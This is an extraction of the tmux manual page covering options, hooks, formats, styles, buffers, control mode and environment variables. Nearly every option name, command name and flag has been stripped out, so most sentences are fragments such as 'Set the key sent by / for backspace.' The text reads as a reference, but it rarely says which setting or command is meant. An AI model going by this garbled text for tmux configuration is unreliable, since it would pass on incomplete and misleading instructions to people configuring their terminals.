includes options inherited from a parent set of options, such options are marked with an asterisk.

Available server options are:

Set the key sent by

for backspace.

Set the number of buffers; as new buffers are added to the top of the stack, old ones are removed from the bottom if necessary to maintain this maximum length.

This is an array of custom aliases for commands. If an unknown command matches

it is replaced with

For example, after:

Using:

Is equivalent to:

Note that aliases are expanded when a command is parsed rather than when it is executed, so binding an alias with

will bind the expanded form.

Set the default terminal for new windows created in this session - the default value of the

environment variable. For

to work correctly, this

be set to

or a derivative of them.

Give the command to pipe to if the

copy mode command is used without arguments.

Set the time in milliseconds for which

waits after an escape is input to determine if it is part of a function or meta key sequences. The default is 500 milliseconds.

Set the command used when

runs an editor.

If enabled (the default), the server will exit when there are no active sessions.

If enabled, the server will exit when there are no attached clients.

When

or

the escape sequence to enable extended keys is sent to the terminal, if

knows that it is supported.

always recognises extended keys itself. If this option is

will only forward extended keys to applications when they request them; if

will always forward the keys.

When enabled, focus events are requested from the terminal if supported and passed through to applications running in

Attached clients should be detached and attached again after changing this option.

If not empty, a file to which

will write command prompt history on exit and load it from on start.

Set the number of error or information messages to save in the message log for each client.

Set the number of history items to save in the history file for each type of command prompt.

Attempt to set the terminal clipboard content using the

escape sequence, if there is an

entry in the

description (see the

section).

If set to

will both accept the escape sequence to create a buffer and attempt to set the terminal clipboard. If set to

will attempt to set the terminal clipboard but ignore attempts by applications to set

buffers. If

will neither accept the clipboard escape sequence nor attempt to set the clipboard.

Note that this feature needs to be enabled in

by setting the resource:

disallowedWindowOps: 20,21,SetXprop

Or changing this property from the

interactive menu when required.

Set terminal features for terminal types read from

has a set of named terminal features. Each will apply appropriate changes to the

entry in use.

can detect features for a few common terminals; this option can be used to easily tell tmux about features supported by terminals it cannot detect. The

option allows individual

capabilities to be set instead,

is intended for classes of functionality supported in a standard way but not reported by

Care must be taken to configure this only with features the terminal actually supports.

This is an array option where each entry is a colon-separated string made up of a terminal type pattern (matched using

followed by a list of terminal features. The available features are:

Supports 256 colours with the SGR escape sequences.

Allows setting the system clipboard.

Allows setting the cursor colour.

Allows setting the cursor style.

Supports extended keys.

Supports focus reporting.

Supports OSC 8 hyperlinks.

Ignore function keys from

and use the

internal set only.

Supports DECSLRM margins.

Supports

mouse sequences.

Supports the OSC 7 working directory extension.

Supports the overline SGR attribute.

Supports the DECFRA rectangle fill escape sequence.

Supports RGB colour with the SGR escape sequences.

Supports SIXEL graphics.

Supports the strikethrough SGR escape sequence.

Supports synchronized updates.

Supports

title setting.

Allows underscore style and colour to be set.

Allow terminal descriptions read using

to be overridden. Each entry is a colon-separated string made up of a terminal type pattern (matched using

and a set of

entries.

For example, to set the

entry to

for all terminal types matching

The terminal entry value is passed through

before interpretation.

Set list of user-defined key escape sequences. Each item is associated with a key named

and so on.

For example:

set -s user-keys[0] “[5;30012~” bind User0 resize-pane -L 3

Available session options are:

Set action on window activity when

is on.

means activity in any window linked to a session causes a bell or message (depending on

in the current window of that session,

means all activity is ignored (equivalent to

being off),

means only activity in windows other than the current window are ignored and

means activity in the current window is ignored but not those in other windows.

If keys are entered faster than one in

they are assumed to have been pasted rather than typed and

key bindings are not processed. The default is one millisecond and zero disables.

Set the base index from which an unused index should be searched when a new window is created. The default is zero.

Set action on a bell in a window when

is on. The values are the same as those for

Set the command used for new windows (if not specified when the window is created) to

which may be any

command. The default is an empty string, which instructs

to create a login shell using the value of the

option.

Specify the default shell. This is used as the login shell for new windows when the

option is set to empty, and must be the full path of the executable. When started

tries to set a default value from the first suitable of the

environment variable, the shell returned by

or

This option should be configured when

is used as a login shell.

Set the default size of new windows when the

option is set to manual or when a session is created with

The value is the width and height separated by an

character. The default is 80x24.

If

destroy the session after the last client has detached. If

(the default), leave the session orphaned. If

destroy the session only if it is in a group and has other sessions in that group. If

destroy the session unless it is in a group and is the only session in that group.

If

(the default), the client is detached when the session it is attached to is destroyed. If

the client is switched to the most recently active of the remaining sessions. If

the client is detached only if there are no detached sessions; if detached sessions exist, the client is switched to the most recently active. If

or

the client is switched to the previous or next session in alphabetical order.

Set the colour used by the

command to show the indicator for the active pane.

Set the colour used by the

command to show the indicators for inactive panes.

Set the time in milliseconds for which the indicators shown by the

command appear.

Set the amount of time for which status line messages and other on-screen indicators are displayed. If set to 0, messages and indicators are displayed until a key is pressed.

is in milliseconds.

Set the maximum number of lines held in window history. This setting applies only to new windows - existing window histories are not resized and retain the limit at the point they were created.

Set the default key table to

instead of

Lock the session (like the

command) after

seconds of inactivity. The default is not to lock (set to 0).

Command to run when locking each client. The default is to run

with

Set the menu style. See the

section on how to specify

Attributes are ignored.

Set the selected menu item style. See the

section on how to specify

Attributes are ignored.

Set the menu border style. See the

section on how to specify

Attributes are ignored.

Set the type of characters used for drawing menu borders. See

for possible values for

Set status line message command style. This is used for the command prompt with

keys when in command mode. For how to specify

see the

section.

Set line on which status line messages and the command prompt are shown.

Set status line message style. This is used for messages and for the command prompt. For how to specify

see the

section.

If on,

captures the mouse and allows mouse events to be bound as key bindings. See the

section for details.

Set the key accepted as a prefix key. In addition to the standard keys described under

can be set to the special key

to set no prefix.

Set a secondary key accepted as a prefix key. Like

can be set to

If on, when a window is closed in a session, automatically renumber the other windows in numerical order. This respects the

option if it has been set. If off, do not renumber the windows.

Allow multiple commands to be entered without pressing the prefix-key again in the specified

milliseconds (the default is 500). Whether a key repeats may be set when it is bound using the

flag to

Repeat is enabled for the default keys bound to the

command.

Attempt to set the client terminal title using the

and

entries if they exist.

automatically sets these to the ]0;… sequence if the terminal appears to be

This option is off by default.

String used to set the client terminal title if

is on. Formats are expanded, see the

section.

Set action on window silence when

is on. The values are the same as those for

Show or hide the status line or specify its size. Using

gives a status line one row in height;

or

more rows.

Specify the format to be used for each line of the status line. The default builds the top status line from the various individual status options below.

Update the status line every

seconds. By default, updates will occur every 15 seconds. A setting of zero disables redrawing at interval.

Set the position of the window list in the status line: left, centre or right. centre puts the window list in the relative centre of the available free space; absolute-centre uses the centre of the entire horizontal space.

Use vi or emacs-style key bindings in the status line, for example at the command prompt. The default is emacs, unless the

or

environment variables are set and contain the string

Display

(by default the session name) to the left of the status line.

will be passed through

Also see the

and

sections.

For details on how the names and titles can be set see the

section.

Examples are:

#(sysctl vm.loadavg) #[fg=yellow,bold]#(apm -l)%%#[default] [#S]

The default is

Set the maximum

of the left component of the status line. The default is 10.

Set the style of the left part of the status line. For how to specify

see the

section.

Set the position of the status line.

Display

to the right of the status line. By default, the current pane title in double quotes, the date and the time are shown. As with

will be passed to

and character pairs are replaced.

Set the maximum

of the right component of the status line. The default is 40.

Set the style of the right part of the status line. For how to specify

see the

section.

Set status line style. For how to specify

see the

section.

Set list of environment variables to be copied into the session environment when a new session is created or an existing session is attached. Any variables that do not exist in the source environment are set to be removed from the session environment (as if

was given to the

command).

If on, display a message instead of sending a bell when activity occurs in a window for which the

window option is enabled. If set to both, a bell and a message are produced.

If on, a message is shown on a bell in a window for which the

window option is enabled instead of it being passed through to the terminal (which normally makes a sound). If set to both, a bell and a message are produced. Also see the

option.

If

is enabled, prints a message after the interval has expired on a given window instead of sending a bell. If set to both, a bell and a message are produced.

Sets the session’s conception of what characters are considered word separators, for the purposes of the next and previous word commands in copy mode.

Available window options are:

Aggressively resize the chosen window. This means that

will resize the window to the size of the smallest or largest session (see the

option) for which it is the current window, rather than the session to which it is attached. The window may resize when the current window is changed on another session; this option is good for full-screen programs which support

and poor for interactive programs such as shells.

Control automatic window renaming. When this setting is enabled,

will rename the window automatically using the format specified by

This flag is automatically disabled for an individual window when a name is specified at creation with

or

or later with

or with a terminal escape sequence. It may be switched off globally with:

set-option -wg automatic-rename off

The format (see

used when the

option is enabled.

Set clock colour.

Set clock hour format.

Set the character used to fill areas of the terminal unused by a window.

Set the width or height of the main (left or top) pane in the

or

layouts. If suffixed by

this is a percentage of the window size.

Set the style of search matches in copy mode. For how to specify

see the

section.

Set the style of the line containing the mark in copy mode. For how to specify

see the

section.

Set the style of the current search match in copy mode. For how to specify

see the

section.

Use vi or emacs-style key bindings in copy mode. The default is emacs, unless

or

contains

Set window modes style. For how to specify

see the

section.

Monitor for activity in the window. Windows with activity are highlighted in the status line.

Monitor for a bell in the window. Windows with a bell are highlighted in the status line.

Monitor for silence (no activity) in the window within

seconds. Windows that have been silent for the interval are highlighted in the status line. An interval of zero disables the monitoring.

Set the height of the other panes (not the main pane) in the

layout. If this option is set to 0 (the default), it will have no effect. If both the

and

options are set, the main pane will grow taller to make the other panes the specified height, but will never shrink to do so. If suffixed by

this is a percentage of the window size.

Like

but set the width of other panes in the

layout.

Set the pane border style for the currently active pane. For how to specify

see the

section. Attributes are ignored.

Like

but set the starting index for pane numbers.

Set the text shown in pane border status lines.

Indicate active pane by colouring only half of the border in windows with exactly two panes, by displaying arrow markers, by drawing both or neither.

Set the type of characters used for drawing pane borders.

may be one of:

single lines using ACS or UTF-8 characters

double lines using UTF-8 characters

heavy lines using UTF-8 characters

simple ASCII characters

the pane number

and

will fall back to standard ACS line drawing when UTF-8 is not supported.

Turn pane border status lines off or set their position.

Set the pane border style for panes aside from the active pane. For how to specify

see the

section. Attributes are ignored.

Set the popup style. See the

section on how to specify

Attributes are ignored.

Set the popup border style. See the

section on how to specify

Attributes are ignored.

Set the type of characters used for drawing popup borders.

may be one of:

single lines using ACS or UTF-8 characters (default)

variation of single with rounded corners using UTF-8 characters

double lines using UTF-8 characters

heavy lines using UTF-8 characters

simple ASCII characters

simple ASCII space character

no border

and

will fall back to standard ACS line drawing when UTF-8 is not supported.

Set status line style for windows with an activity alert. For how to specify

see the

section.

Set status line style for windows with a bell alert. For how to specify

see the

section.

Like

but is the format used when the window is the current window.

Set status line style for the currently active window. For how to specify

see the

section.

Set the format in which the window is displayed in the status line window list. See the

and

sections.

Set status line style for the last active window. For how to specify

see the

section.

Sets the separator drawn between windows in the status line. The default is a single space character.

Set status line style for a single window. For how to specify

see the

section.

Configure how

determines the window size. If set to

the size of the largest attached session is used; if

the size of the smallest. If

the size of a new window is set from the

option and windows are resized automatically. With

uses the size of the client that had the most recent activity. See also the

command and the

option.

If this option is set, searches will wrap around the end of the pane contents. The default is on.

Available pane options are:

Allow programs in the pane to bypass

using a terminal escape sequence (Ptmux;…). If set to

passthrough sequences will be allowed only if the pane is visible. If set to

they will be allowed even if the pane is invisible.

Allow programs in the pane to change the window name using a terminal escape sequence (k…).

This option configures whether programs running inside the pane may use the terminal alternate screen feature, which allows the

and

capabilities. The alternate screen feature preserves the contents of the window when an interactive application starts and restores it on exit, so that any output visible before the application starts reappears unchanged after it exits.

Set the colour of the cursor.

The default colour palette. Each entry in the array defines the colour

uses when the colour with that index is requested. The index may be from zero to 255.

Set the style of the cursor. Available styles are:

A pane with this flag set is not destroyed when the program running in it exits. If set to

then only when the program exit status is not zero. The pane may be reactivated with the

command.

Set the text shown at the bottom of exited panes when

is enabled.

When the entire screen is cleared and this option is on, scroll the contents of the screen into history before clearing it.

Duplicate input to all other panes in the same window where this option is also on (only for panes that are not in any mode).

Set the pane style when it is the active pane. For how to specify

see the

section.

Set the pane style. For how to specify

see the

section.

allows commands to run on various triggers, called

Most

commands have an

hook and there are a number of hooks not associated with commands.

Hooks are stored as array options, members of the array are executed in order when the hook is triggered. Like options different hooks may be global or belong to a session, window or pane. Hooks may be configured with the

or

commands and displayed with

or

The following two commands are equivalent:

set-hook -g pane-mode-changed[42] ‘set -g status-left-style bg=red’ set-option -g pane-mode-changed[42] ‘set -g status-left-style bg=red’

Setting a hook without specifying an array index clears the hook and sets the first member of the array.

A command’s after hook is run after it completes, except when the command is run as part of a hook itself. They are named with an

prefix. For example, the following command adds a hook to select the even-vertical layout after every

set-hook -g after-split-window “selectl even-vertical”

All the notifications listed in the

section are hooks (without any arguments), except

The following additional hooks are available:

Run when a window has activity. See

Run when a window has received a bell. See

Run when a window has been silent. See

Run when a client becomes the latest active client of its session.

Run when a client is attached.

Run when a client is detached

Run when focus enters a client

Run when focus exits a client

Run when a client is resized.

Run when a client’s attached session is changed.

Run when the program running in a pane exits, but

is on so the pane has not closed.

Run when the program running in a pane exits.

Run when the focus enters a pane, if the

option is on.

Run when the focus exits a pane, if the

option is on.

Run when the terminal clipboard is set using the

escape sequence.

Run when a new session created.

Run when a session closed.

Run when a session is renamed.

Run when a window is linked into a session.

Run when a window is renamed.

Run when a window is resized. This may be after the

hook is run.

Run when a window is unlinked from a session.

Hooks are managed with these commands:

Without

sets (or with

unsets) hook

to

The flags are the same as for

With

run

immediately.

Shows hooks. The flags are the same as for

If the

option is on (the default is off),

allows mouse events to be bound as keys. The name of each key is made up of a mouse event (such as

and a location suffix, one of the following:

The following mouse events are available:

The

events are fired for the second click of a double click, even if there may be a third click which will fire

instead of

Each should be suffixed with a location, for example

The special token

or

may be used as

or

in commands bound to mouse key bindings. It resolves to the window or pane over which the mouse event took place (for example, the window in the status line over which button 1 was released for a

binding, or the pane over which the wheel was scrolled for a

binding).

The

flag may be used to forward a mouse event to a pane.

The default key bindings allow the mouse to be used to select and resize panes, to copy text and to change window using the status line. These take effect if the

option is turned on.

Certain commands accept the

flag with a

argument. This is a string which controls the output format of the command. Format variables are enclosed in

and

for example

The possible variables are listed in the table below, or the name of a

option may be used for an option’s value. Some variables have a shorter alias such as

is replaced by a single

by a

and

by a

Conditionals are available by prefixing with

and separating two alternatives with a comma; if the specified variable exists and is not zero, the first alternative is chosen, otherwise the second is used. For example

will include the string

if the session is attached and the string

if it is unattached, or

will include

if

is enabled, or

if not. Conditionals can be nested arbitrarily. Inside a conditional,

and

must be escaped as

and

unless they are part of a

replacement. For example:

#{?pane_in_mode,#[fg=white#,bg=red],#[fg=red#,bg=white]}#W .

String comparisons may be expressed by prefixing two comma-separated alternatives by

or

and a colon. For example

will be replaced by

if running on

otherwise by

and

evaluate to true if either or both of two comma-separated alternatives are true, for example

An

specifies an

or regular expression comparison. The first argument is the pattern and the second the string to compare. An optional argument specifies flags:

means the pattern is a regular expression instead of the default

pattern, and

means to ignore case. For example:

or

A

performs a search for an

pattern or regular expression in the pane content and evaluates to zero if not found, or a line number if found. Like

an

flag means search for a regular expression and

ignores case. For example:

Numeric operators may be performed by prefixing two comma-separated alternatives with an

and an operator. An optional

flag may be given after the operator to use floating point numbers, otherwise integers are used. This may be followed by a number giving the number of decimal places to use for the result. The available operators are: addition

subtraction

multiplication

division

modulus

or

(note that

must be escaped as

in formats which are also expanded by

and numeric comparison operators

and

For example,

multiplies 5.5 by 3 for a result with four decimal places and

returns the modulus of 7 and 3.

replaces a numeric argument by its ASCII equivalent, so

results in

replaces a

colour by its six-digit hexadecimal RGB value.

A limit may be placed on the length of the resultant string by prefixing it by an

a number and a colon. Positive numbers count from the start of the string and negative from the end, so

will include at most the first five characters of the pane title, or

the last five characters. A suffix or prefix may be given as a second argument - if provided then it is appended or prepended to the string if the length has been trimmed, for example

will append

if the pane title is more than five characters. Similarly,

pads the string to a given width, for example

will result in a width of at least 10 characters. A positive width pads on the left, a negative on the right.

expands to the length of the variable and

to its width when displayed, for example

Prefixing a time variable with

will convert it to a string, so if

gives

gives

Adding

will use shorter but less accurate time format for times in the past. A custom format may be given using an

suffix (note that

must be escaped as

if the format is separately being passed through

for example in the

option):

see

The

and

prefixes are

and

of the variable respectively.

will escape

special characters or with a

suffix, escape hash characters (so

becomes

will expand the format twice, for example

is the result of expanding the content of the

option rather than the option itself.

is like

but also expands

specifiers.

or

will loop over each session, window, pane or client and insert the format once for each. For windows and panes, two comma-separated formats may be given: the second is used for the current window or active pane. For example, to get a list of windows formatted like the status line:

#{W:#{E:window-status-format} ,#{E:window-status-current-format} }

checks if a window (without any suffix or with the

suffix) or a session (with the

suffix) name exists, for example

is replaced with 1 if a window named

exists.

A prefix of the form

will substitute

with

throughout. The first argument may be an extended regular expression and a final argument may be

to ignore case, for example

would change

into

A different delimiter character may also be used, to avoid collisions with literal slashes in the pattern. For example,

will substitute

with

throughout.

In addition, the last line of a shell command’s output may be inserted using

For example,

will insert the system’s uptime. When constructing formats,

does not wait for

commands to finish; instead, the previous result from running the same command is used, or a placeholder if the command has not been run before. If the command hasn’t exited, the most recent line of output will be used, but the status line will not be updated more than once a second. Commands are executed using

and with the

global environment set (see the

section).

An

specifies that a string should be interpreted literally and not expanded. For example

will be replaced by

The following variables are available, where appropriate:

offers various options to specify the colour and attributes of aspects of the interface, for example

for the status line. In addition, embedded styles may be specified in format options, such as

by enclosing them in

and

A style may be the single term

to specify the default style (which may come from an option, for example

in the status line) or a space or comma separated list of the following:

Set the foreground colour. The colour is one of:

if supported the bright variants

to

from the 256-colour set;

for the default colour;

for the terminal default colour; or a hexadecimal RGB string such as

Set the background colour.

Set the underscore colour.

Set no attributes (turn off any active attributes).

(or

Set an attribute. Any of the attributes may be prefixed with

to unset.

is the terminal alternate character set.

(or

Align text to the left, centre or right of the available space if appropriate.

Fill the available space with a background colour if appropriate.

Mark the position of the various window list components in the

option:

marks the start of the list;

is the part of the list that should be kept in focus if the entire list won’t fit in the available space (typically the current window);

and

mark the text to be used to mark that text has been trimmed from the left or right of the list if there is not enough space.

Store the current colours and attributes as the default or reset to the previous default. A

affects any subsequent use of the

term until a

Only one default may be pushed (each

replaces the previous saved default).

Mark a range for mouse events in the

option. When a mouse event occurs in the

or

range, the

and

key bindings are triggered.

and

are ranges for a session, window or pane. These trigger the

mouse key with the target session, window or pane given by the

argument.

is a session ID, window index in the current session or a pane ID. For these, the

format variable will be set to

or

is a user-defined range; it triggers the

mouse key. The argument

will be available in the

format variable.

must be at most 15 bytes in length.

Examples are:

fg=yellow bold underscore blink bg=black,fg=default,noreverse

distinguishes between names and titles. Windows and sessions have names, which may be used to specify them in targets and are displayed in the status line and various lists: the name is the

identifier for a window or session. Only panes have titles. A pane’s title is typically set by the program running inside the pane using an escape sequence (like it would set the

window title in

Windows themselves do not have titles - a window’s title is the title of its active pane.

itself may set the title of the terminal in which the client is running, see the

option.

A session’s name is set with the

and

commands. A window’s name is set with one of:

A command argument (such as

for

or

An escape sequence (if the

option is turned on):

$ printf ‘kWINDOW_NAME'

Automatic renaming, which sets the name to the active command in the window’s active pane. See the

option.

When a pane is first created, its title is the hostname. A pane’s title can be set via the title setting escape sequence, for example:

$ printf ‘]2;My Title'

It can also be modified with the

command.

When the server is started,

copies the environment into the

in addition, each session has a

When a window is created, the session and global environments are merged. If a variable exists in both, the value from the session environment is used. The result is the initial environment passed to the new process.

The

session option may be used to update the session environment from the client when a new session is created or an old reattached.

also initialises the

variable with some internal information to allow commands to be executed from inside, and the

variable with the correct terminal setting of

Variables in both session and global environments may be marked as hidden. Hidden variables are not passed into the environment of new processes and instead can only be used by tmux itself (for example in formats, see the

section).

Commands to alter and view the environment are:

Set or unset an environment variable. If

is used, the change is made in the global environment; otherwise, it is applied to the session environment for

If

is present, then

is expanded as a format. The

flag unsets a variable.

indicates the variable is to be removed from the environment before starting a new process.

marks the variable as hidden.

Display the environment for

or the global environment with

If

is omitted, all variables are shown. Variables removed from the environment are prefixed with

If

is used, the output is formatted as a set of Bourne shell commands.

shows hidden variables (omitted by default).

includes an optional status line which is displayed in the bottom line of each terminal.

By default, the status line is enabled and one line in height (it may be disabled or made multiple lines with the

session option) and contains, from left-to-right: the name of the current session in square brackets; the window list; the title of the active pane in double quotes; and the time and date.

Each line of the status line is configured with the

option. The default is made of three parts: configurable left and right sections (which may contain dynamic content such as the time or output from a shell command, see the

and

options below), and a central window list. By default, the window list shows the index, name and (if any) flag of the windows present in the current session in ascending numerical order. It may be customised with the

and

options. The flag is one of the following symbols appended to the window name:

The # symbol relates to the

window option. The window name is printed in inverted colours if an alert (bell, activity or silence) is present.

The colour and attributes of the status line may be configured, the entire status line using the

session option and individual windows using the

window option.

The status line is automatically refreshed at interval if it has changed, the interval may be controlled with the

session option.

Commands related to the status line are as follows:

Clear status prompt history for prompt type

If

is omitted, then clear history for all types. See

for possible values for

Open the command prompt in a client. This may be used from inside

to execute commands interactively.

If

is specified, it is used as the command. With

is expanded as a format.

If present,

is a comma-separated list of the initial text for each prompt. If

is given,

is a comma-separated list of prompts which are displayed in order; otherwise a single prompt is displayed, constructed from

if it is present, or

if not.

Before the command is executed, the first occurrence of the string

and all occurrences of

are replaced by the response to the first prompt, all

are replaced with the response to the second prompt, and so on for further prompts. Up to nine prompt responses may be replaced

to

is like

but any quotation marks are escaped.

makes the prompt only accept one key press, in this case the resulting input is a single character.

is like

but the key press is translated to a key name.

makes the prompt only accept numeric key presses.

executes the command every time the prompt input changes instead of when the user exits the command prompt.

tells

the prompt type. This affects what completions are offered when

is pressed. Available types are:

and

The following keys have a special meaning in the command prompt, depending on the value of the

option:

With

the prompt is shown in the background and the invoking client does not exit until it is dismissed.

Ask for confirmation before executing

If

is given,

is the prompt to display; otherwise a prompt is constructed from

It may contain the special character sequences supported by the

option. With

the prompt is shown in the background and the invoking client does not exit until it is dismissed.

changes the default behaviour (if Enter alone is pressed) of the prompt to run the command.

changes the confirmation key to

the default is

Display a menu on

gives the target for any commands run from the menu.

A menu is passed as a series of arguments: first the menu item name, second the key shortcut (or empty for none) and third the command to run when the menu item is chosen. The name and command are formats, see the

and

sections. If the name begins with a hyphen (-), then the item is disabled (shown dim) and may not be chosen. The name may be empty for a separator line, in which case both the key and command should be omitted.

sets the type of characters used for drawing menu borders. See

for possible values for

sets the style for the selected menu item (see

sets the style for the menu and

sets the style for the menu border (see

is a format for the menu title (see

sets the menu item selected by default, if the menu is not bound to a mouse key binding.

and

give the position of the menu. Both may be a row or column number, or one of the following special values:

Or a format, which is expanded including the following additional variables:

Each menu consists of items followed by a key shortcut shown in brackets. If the menu is too large to fit on the terminal, it is not displayed. Pressing the key shortcut chooses the corresponding item. If the mouse is enabled and the menu is opened from a mouse key binding, releasing the mouse button with an item selected chooses that item and releasing the mouse button without an item selected closes the menu.

changes this behaviour so that the menu does not close when the mouse button is released without an item selected the menu is not closed and a mouse button must be clicked to choose an item.

The following keys are also available:

Display a message. If

is given, the output is printed to stdout, otherwise it is displayed in the

status line for up to

milliseconds. If

is not given, the

option is used; a delay of zero waits for a key press.

ignores key presses and closes only after the delay expires. If

is given,

is printed unchanged. Otherwise, the format of

is described in the

section; information is taken from

if

is given, otherwise the active pane.

prints verbose logging as the format is parsed and

lists the format variables and their values.

forwards any input read from stdin to the empty pane given by

Display a popup running

on

A popup is a rectangular box drawn over the top of any panes. Panes are not updated while a popup is present.

closes the popup automatically when

exits. Two

closes the popup only if

exited with success.

and

give the position of the popup, they have the same meaning as for the

command.

and

give the width and height - both may be a percentage (followed by

If omitted, half of the terminal size is used.

does not surround the popup by a border.

sets the type of characters used for drawing popup borders. When

is specified, the

option is ignored. See

for possible values for

sets the style for the popup and

sets the style for the popup border (see

takes the form

and sets an environment variable for the popup; it may be specified multiple times.

is a format for the popup title (see

The

flag closes any popup on the client.

Display status prompt history for prompt type

If

is omitted, then show history for all types. See

for possible values for

maintains a set of named

Each buffer may be either explicitly or automatically named. Explicitly named buffers are named when created with the

or

commands, or by renaming an automatically named buffer with

Automatically named buffers are given a name such as

and so on. When the

option is reached, the oldest automatically named buffer is deleted. Explicitly named buffers are not subject to

and may be deleted with the

command.

Buffers may be added using

or the

and

commands, and pasted into a window using the

command. If a buffer command is used and no buffer is specified, the most recently added automatically named buffer is assumed.

A configurable history buffer is also maintained for each window. By default, up to 2000 lines are kept; this can be altered with the

option (see the

command above).

The buffer commands are as follows:

Put a pane into buffer mode, where a buffer may be chosen interactively from a list. Each buffer is shown on one line. A shortcut key is shown on the left in brackets allowing for immediate choice, or the list may be navigated and an item chosen or otherwise manipulated using the keys below.

zooms the pane. The following keys may be used in buffer mode:

After a buffer is chosen,

is replaced by the buffer name in

and the result executed as a command. If

is not given, “paste-buffer -b ‘%%’” is used.

specifies the initial sort field: one of

(creation),

or

reverses the sort order.

specifies an initial filter: the filter is a format - if it evaluates to zero, the item in the list is not shown, otherwise it is shown. If a filter would lead to an empty list, it is ignored.

specifies the format for each item in the list and

a format for each shortcut key; both are evaluated once for each line.

starts without the preview. This command works only if at least one client is attached.

Remove and free the history for the specified pane.

also removes all hyperlinks.

Delete the buffer named

or the most recently added automatically named buffer if not specified.

List the global buffers.

specifies the format of each line and

a filter. Only buffers for which the filter is true are shown. See the

section.

Load the contents of the specified paste buffer from

If

is given, the buffer is also sent to the clipboard for

using the

escape sequence, if possible.

Insert the contents of a paste buffer into the specified pane. If not specified, paste into the current one. With

also delete the paste buffer. When output, any linefeed (LF) characters in the paste buffer are replaced with a separator, by default carriage return (CR). A custom separator may be specified using the

flag. The

flag means to do no replacement (equivalent to a separator of LF). If

is specified, paste bracket control codes are inserted around the buffer if the application has requested bracketed paste mode.

Save the contents of the specified paste buffer to

The

option appends to rather than overwriting the file.

Set the contents of the specified buffer to

If

is given, the buffer is also sent to the clipboard for

using the

escape sequence, if possible. The

option appends to rather than overwriting the buffer. The

option renames the buffer to

Display the contents of the specified buffer.

Miscellaneous commands are as follows:

Display a large clock.

Execute the first

if

(run with

returns success or the second

otherwise. Before being executed,

is expanded using the rules specified in the

section, including those relevant to

With

is run in the background.

If

is given,

is not executed but considered success if neither empty nor zero (after formats are expanded).

Lock each client individually by running the command specified by the

option.

Execute

using

or (with

a

command in the background without creating a window. Before being executed,

is expanded using the rules specified in the

section. With

the command is run in the background.

waits for

seconds before starting the command. If

is given, the current working directory is set to

If

is not given, any output to stdout is displayed in view mode (in the pane specified by

or the current pane if omitted) after the command finishes. If the command fails, the exit status is also displayed.

When used without options, prevents the client from exiting until woken using

with the same channel. When

is used, the channel is locked and any clients that try to lock the same channel are made to wait until the channel is unlocked with

When a

client detaches, it prints a message. This may be one of:

The client was detached normally.

The client was detached and its parent sent the

signal (for example with

The client’s

or

was unexpectedly destroyed.

The client was killed with

The client is in control mode and became unable to keep up with the data from

The server exited when it had no sessions.

The server exited when it received

The server crashed or otherwise exited without telling the client the reason.

understands some unofficial extensions to

It is not normally necessary to set these manually, instead the

option should be used.

An existing extension that tells

the terminal supports default colours.

Tell

that the terminal supports the VTE bidirectional text extensions.

Set the cursor colour. The first takes a single string argument and is used to set the colour; the second takes no arguments and restores the default cursor colour. If set, a sequence such as this may be used to change the cursor colour from inside

$ printf ‘]12;red'

The colour is an

colour, see

Set, clear, disable or enable DECSLRM margins. These are set automatically if the terminal reports it is

compatible.

Disable and enable bracketed paste. These are set automatically if the

capability is present.

Disable and enable extended keys.

Disable and enable focus reporting. These are set automatically if the

capability is present.

Set or clear a hyperlink annotation.

Tell

that the terminal does not use bright colors for bold display.

Tell

that the terminal supports rectangle operations.

Enable the overline attribute.

Set a styled underscore. The single parameter is one of: 0 for no underscore, 1 for normal underscore, 2 for double underscore, 3 for curly underscore, 4 for dotted underscore and 5 for dashed underscore.

Set the underscore colour or reset to the default.

is for RGB colours and

for ANSI or 256 colours. The

argument is (red * 65536) + (green * 256) + blue where each is between 0 and 255.

Set or reset the cursor style. If set, a sequence such as this may be used to change the cursor to an underline:

$ printf ‘[4 q’

If

is not set, Ss with argument 0 will be used to reset the cursor style instead.

Set the opening sequence for the working directory notification. The sequence is terminated using the standard

capability.

Indicates that the terminal supports SIXEL.

Start (parameter is 1) or end (parameter is 2) a synchronized update.

Indicate that the terminal supports the

RGB escape sequence (for example, ).

If supported, this is used for the initialize colour escape sequence (which may be enabled by adding the

and

capabilities to the

entry).

This is equivalent to the

capability.

Store the current buffer in the host terminal’s selection (clipboard). See the

option above and the

man page.

This is an existing extension capability that tmux uses to mean that the terminal supports the

title set sequences and to automatically set some of the capabilities above.

offers a textual interface called

This allows applications to communicate with

using a simple text-only protocol.

In control mode, a client sends

commands or command sequences terminated by newlines on standard input. Each command will produce one block of output on standard output. An output block consists of a

line followed by the output (which may be empty). The output block ends with a

or

and matching

or

have three arguments: an integer time (as seconds from epoch), command number and flags (currently not used). For example:

%begin 1363006971 2 1 0: ksh* (1 panes) [80x24] [layout b25f,80x24,0,0,2] @2 (active) %end 1363006971 2 1

The

command may be used to set the size of a client in control mode.

In control mode,

outputs notifications. A notification will never occur inside an output block.

The following notifications are defined:

The client has detached.

The client is now attached to the session with ID

which is named

An error has happened in a configuration file.

The pane has been continued after being paused (if the

flag is set, see

The

client is exiting immediately, either because it is not attached to any session or an error occurred. If present,

describes why the client exited.

New form of

sent when the

flag is set.

is the time in milliseconds for which tmux had buffered the output before it was sent. Any subsequent arguments up until a single

are for future use and should be ignored.

The layout of a window with ID

changed. The new layout is

The window’s visible layout is

and the window flags are

A message sent with the

command.

A window pane produced output.

escapes non-printable characters and backslash as octal \xxx.

The pane with ID

has changed mode.

Paste buffer

has been changed.

Paste buffer

has been deleted.

The pane has been paused (if the

flag is set).

The client is now attached to the session with ID

which is named

The current session was renamed to

The session with ID

changed its active window to the window with ID

A session was created or destroyed.

The value of the format associated with subscription

has changed to

See

Any arguments after

up until a single

are for future use and should be ignored.

The window with ID

was created but is not linked to the current session.

The window with ID

which is not linked to the current session, was closed.

The window with ID

which is not linked to the current session, was renamed.

The window with ID

was linked to the current session.

The window with ID

closed.

The active pane in the window with ID

changed to the pane with ID

The window with ID

was renamed to

When

is started, it inspects the following environment variables:

If the command specified in this variable contains the string

and

is unset, use vi-style key bindings. Overridden by the

and

options.

The user’s login directory. If unset, the

database is consulted.

The character encoding

It is used for two separate purposes. For output to the terminal, UTF-8 is used if the

option is given or if

contains

or

Otherwise, only ASCII characters are written and non-ASCII characters are replaced with underscores

For input,

always runs with a UTF-8 locale. If en_US.UTF-8 is provided by the operating system, it is used and

is ignored for input. Otherwise,

tells

what the UTF-8 locale is called on the current system. If the locale specified by

is not available or is not a UTF-8 locale,

exits with an error message.

The date and time format

It is used for locale-dependent

format specifiers.

